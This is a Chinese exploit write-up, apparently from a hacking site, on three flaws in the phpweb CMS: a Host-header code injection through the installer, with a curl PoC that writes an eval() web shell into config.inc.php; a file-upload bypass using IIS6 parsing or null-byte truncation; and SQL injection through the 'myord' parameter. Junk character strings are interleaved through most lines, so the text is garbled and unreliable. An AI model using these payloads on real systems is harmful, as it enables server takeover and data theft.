注入:# y3 k: \, G; n5 E
' ]2 }7 U) w- @) g5 ^, |7 z! a之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码. y5 W! _0 k/ T' E" g$ P
# b( n( I$ G j4 ^鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) R0 m' S# ^- ?* M鸡肋2: 有一定安全常识的站长都会删掉 install 目录' }, z7 D& v# s+ g! a. J
& X+ G9 p* V% |- Y0 H! i2 V
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响; g# Z: |4 }, b& j0 ~, v {
4 j0 G! b" D" |5 ~* D3 V! c* O分析:/ V5 T: } h ?) y! q0 C
. x/ g( l0 @, r! q2 y+ _2 [( k* h' N 8 p+ O4 n j# C5 f! K" w6 R' f
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
( n) o9 O8 r7 G& r7 R o$ n8 Y* L' e2 B
$filestr = fread(fopen($SysConfigFile, 'r'),30000); U( ^4 Z& w1 a# y* a" M( T
$filestr=str_replace(" ","",$filestr);
0 C1 N5 S/ R* q! u: P. q $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
% K6 @$ M! w, i1 {- x $filestr=str_replace("DefaultDbName",$dbname,$filestr);- Q+ O' `6 s: q
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: _! y- `7 Z" Z. s/ B5 ^ @
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, G: d5 |" Y N+ S" u& h) | $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
& h* H, _6 C1 P $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);/ T* l5 e- @) v$ K( Y
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, R" E2 W7 a: X; e/ B% H/ ?8 H
$ {4 W( y3 G, F+ V% E; J1 v2 ` fwrite(fopen($ConFile,"w"),$filestr,30000);
7 n$ {0 Q7 g6 E% Q5 z, _5 x9 J# E$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^: n$ i! k) g, m" b: M
+ ?, C2 N( R& B
poc:
0 m# }5 O$ f' f: S4 ~ 0 o T& f$ X6 z
?
% Q* {5 ^" ^ @ W. S1
* J# Z r( ?1 ` v- i1 ^: Ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 A) P% C; Z n/ b
shell地址: /config.inc.php
' p+ F) [8 v: y& W* }& c/ p( F跟之前的 phpcms一样 需要远程数据库
0 j( v3 ?: T- v. z0 l$ N; D
# b( M8 x) \5 g) L& o1 B——————————————————–3 u% S* Y' u4 h- g. h
上传漏洞(需要进后台):$ \7 h! Z6 P3 y
漏洞文件: /kedit/upload_cgi/upload.php% e0 Q2 R6 \+ z9 N( v; z: p, c
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用3 X, k+ `3 h. {+ B3 V4 E& Z1 p
# }# e7 e# s0 U5 K! O" O
& O/ V+ `: w y# }! ~& a, v
<?php
6 \; s- h+ `- L. y3 g define("ROOTPATH", "../../");
* M3 G5 u. l b" _; W$ P include(ROOTPATH."includes/admin.inc.php");
$ c4 I! ]% g4 Q8 V; Q3 [ NeedAuth(0);
0 s* q+ _& E% I , d+ |' t# e# e5 r
$dt=date("Ymd",time());$ ^& C. ]6 W4 C z' D
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){% F- j4 G1 v% g& @% R# }
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 b( n8 p4 L7 G. G5 v n }
* K& }: u& B* S, T8 [3 ], U9 f% H 1 L) l, B4 F# x( p' s- I
//文件保存目录路径
+ ?7 j6 `2 v$ A6 c; e8 W% u $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';! Q* V9 `! v6 o! |" G
echo $save_path;* l! j; G+ p7 q) k
//文件保存目录URL- H4 M; n9 ? I/ ^
$save_url = '../../'.$_POST['attachPath'].$dt.'/';( ?; W ~0 y) e& j
" _# E; \4 G( m- r: L# @! E( X
//定义允许上传的文件扩展名
- h, Y& W; S% a/ L! X) S: X $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
$ G5 k4 P7 }. t 9 W, ~0 O6 @- Z; N, a
//最大文件大小
. \$ F0 K+ A( R8 ^0 e. B. y# s4 N$ L $max_size = 1000000;/ }1 S6 }- I- V4 C* `' c
' q' h$ F4 `4 M; }- k, h# ^$ b //更改目录权限
" v* G! I3 J6 e1 _( [ @mkdir($save_path, 0777);
5 G, |# F7 M2 o7 @9 o- w; W4 | 5 [/ d1 X+ i9 [$ j! p6 y
//文件的全部路径
8 p2 M% S; f6 C! U8 Y0 P $file_path = $save_path.$_POST['fileName']; //保存文件名6 ~' x1 h) g! Y
2 L9 W6 c q; H
//文件URL
, A m2 a" D$ p6 a, P( G* m $file_url = $save_url.$_POST['fileName'];6 g+ v0 ~0 M1 ?1 ^
//有上传文件时
6 |* f. E1 B3 L5 a* u" U if (empty($_FILES) === false) {
3 M- Z- v2 w# q
# C6 f# E% V; F7 H* D //原文件名5 K: x, S' M( z' J" r2 ^. y
$file_name = $_FILES['fileData']['name'];# u& A3 P( P% l; e# u* ^0 D1 g
//服务器上临时文件名: Y( L$ g8 x; [# V
$tmp_name = $_FILES['fileData']['tmp_name'];3 ^' J! Y- L5 r7 g1 z' b; M( ?& W4 B
//文件大小0 L/ c3 M" {; g9 A: O# }, g+ Z" i7 ]
$file_size = $_FILES['fileData']['size'];* R$ v. W% Q4 o3 ]% \
//检查目录
' K( F2 N. c8 G* d3 K# @' c& c# O" i if (@is_dir($save_path) === false) {% u& p) F U+ D3 W* W N9 U3 A' T
alert("上传目录不存在。");
$ z) U+ X* H8 [6 d }7 a' ~# x5 `0 E5 o5 g% O; C
//检查目录写权限; q# K; p3 Q: Z( `1 u' C: E6 x4 z k
if (@is_writable($save_path) === false) {( x: N& I3 |3 F8 G- X2 p
alert("上传目录没有写权限。");2 j$ f' y/ w3 N# K) A
}
1 ]& A+ u/ Y- W //检查是否已上传6 d- j4 f# Y5 \ v, _
if (@is_uploaded_file($tmp_name) === false) {0 y/ M5 {' {' m; `
alert("临时文件可能不是上传文件。");% P1 Q& N3 P; Y# G% x
}
/ C# q! ]3 R8 k# Q \% ] //检查文件大小# G: Q8 @1 \9 t- p( y( k/ j R
if ($file_size > $max_size) {8 q, U* ]. W) G- @' g' w
alert("上传文件大小超过限制。");3 ?8 ~( F7 z/ f
}
3 r4 V \2 j6 H# N& L //获得文件扩展名7 _" i4 o' o x
$temp_arr = explode(".", $_POST['fileName']);& n( `& n% i) N1 ]0 e* q: ~
$file_ext = array_pop($temp_arr);6 g" E; Q' ?: c+ j; o
$file_ext = trim($file_ext);, ], p' C4 t4 ]/ k6 O; B
$file_ext = strtolower($file_ext);( v: I& W2 |3 i; @' l* k
. @( I: n5 z! W0 W8 m8 e //检查扩展名
z6 y, n, B* D& P: F if (in_array($file_ext, $ext_arr) === false) { 3 Y) a, C: J* @9 i- w, t
alert("上传文件扩展名是不允许的扩展名。");& f1 S! G2 ]0 ? V" Y: z
}+ d0 ~) D4 C/ i/ m1 q) b" ?2 w
; a1 j7 M; n; q0 z+ q( | //移动文件
4 h/ @; c1 f/ i U4 `: ` //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
" f/ p8 t+ y; _: a0 N# | @ if (move_uploaded_file($tmp_name, $file_path) === false) {
! I! Z& B* A/ U- h i8 T( u alert("上传文件失败。");
( u$ I; v! c( @; l }
" Y8 ]% y c% E9 |2 K1 n
0 s R- M4 _& B1 v9 y @chmod($file_path,0666);
/ e+ ?% ^3 ~; r) w+ T
- Q7 g3 Y- ]. d4 |' }. j ?>3 X# F3 m/ M$ @0 }. @8 B" E
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2277 `. o6 y* D# g6 T$ P
/ ? t) j3 x: L. c& e/ m3 m9 L
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ W/ U( l% N- }1 T9 Q8 B8 m4 J
) b0 n( @( R1 y3 z4 D——————————————————
" K$ m6 T" m8 l/ v注入漏洞:2 V$ C, P+ p* w3 e+ K7 X
漏洞文件:search/module/search.php' ^& q6 k; C, e& [8 m& t i, ~0 L
/search/index.php?key=1&myord=1 [sqlinjection]: m' ?% S0 B6 c) E3 v6 S2 }
/ o1 `# D7 t) q3 F, m& X _
" z7 S4 F3 ]8 e<?php
* p+ p8 p$ |9 [# j/ a& Z // ... 省略 n 行...$ E; M; X! k' h8 E" U
//第18行:5 w! b5 C# _+ l& U9 A0 q" m7 k
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
8 K- m1 l3 j9 C: q8 t' @ $page=htmlspecialchars($_GET["page"]);$ ]$ n% T* @# O; V
$myord=htmlspecialchars($_GET["myord"]);1 E# f/ `) _3 p$ N y% ^3 O
# A6 N% T% l6 `9 e6 O // ... 省略 n 行...
) r$ s" @: E% E) ?1 P. R" E4 B' D+ V $key,$myord 两个参数带入查询0 z c% h( f) I5 y# A$ A3 }
//第47行 $key:
# X. B( `/ ^4 Q, c7 m/ u . m' n- \7 Z2 K0 R
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ s! N4 d' O1 h) U. j # D) @% o% z' S( _! `
//第197行 $myord& F# D+ X! Q0 X! y0 b1 K
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入0 [! n X$ l8 Y: g: `+ a: n4 f
' g$ Q3 b- u+ |. ?/ Z- r ?>
1 B3 j, r# K: t' E. N+ F |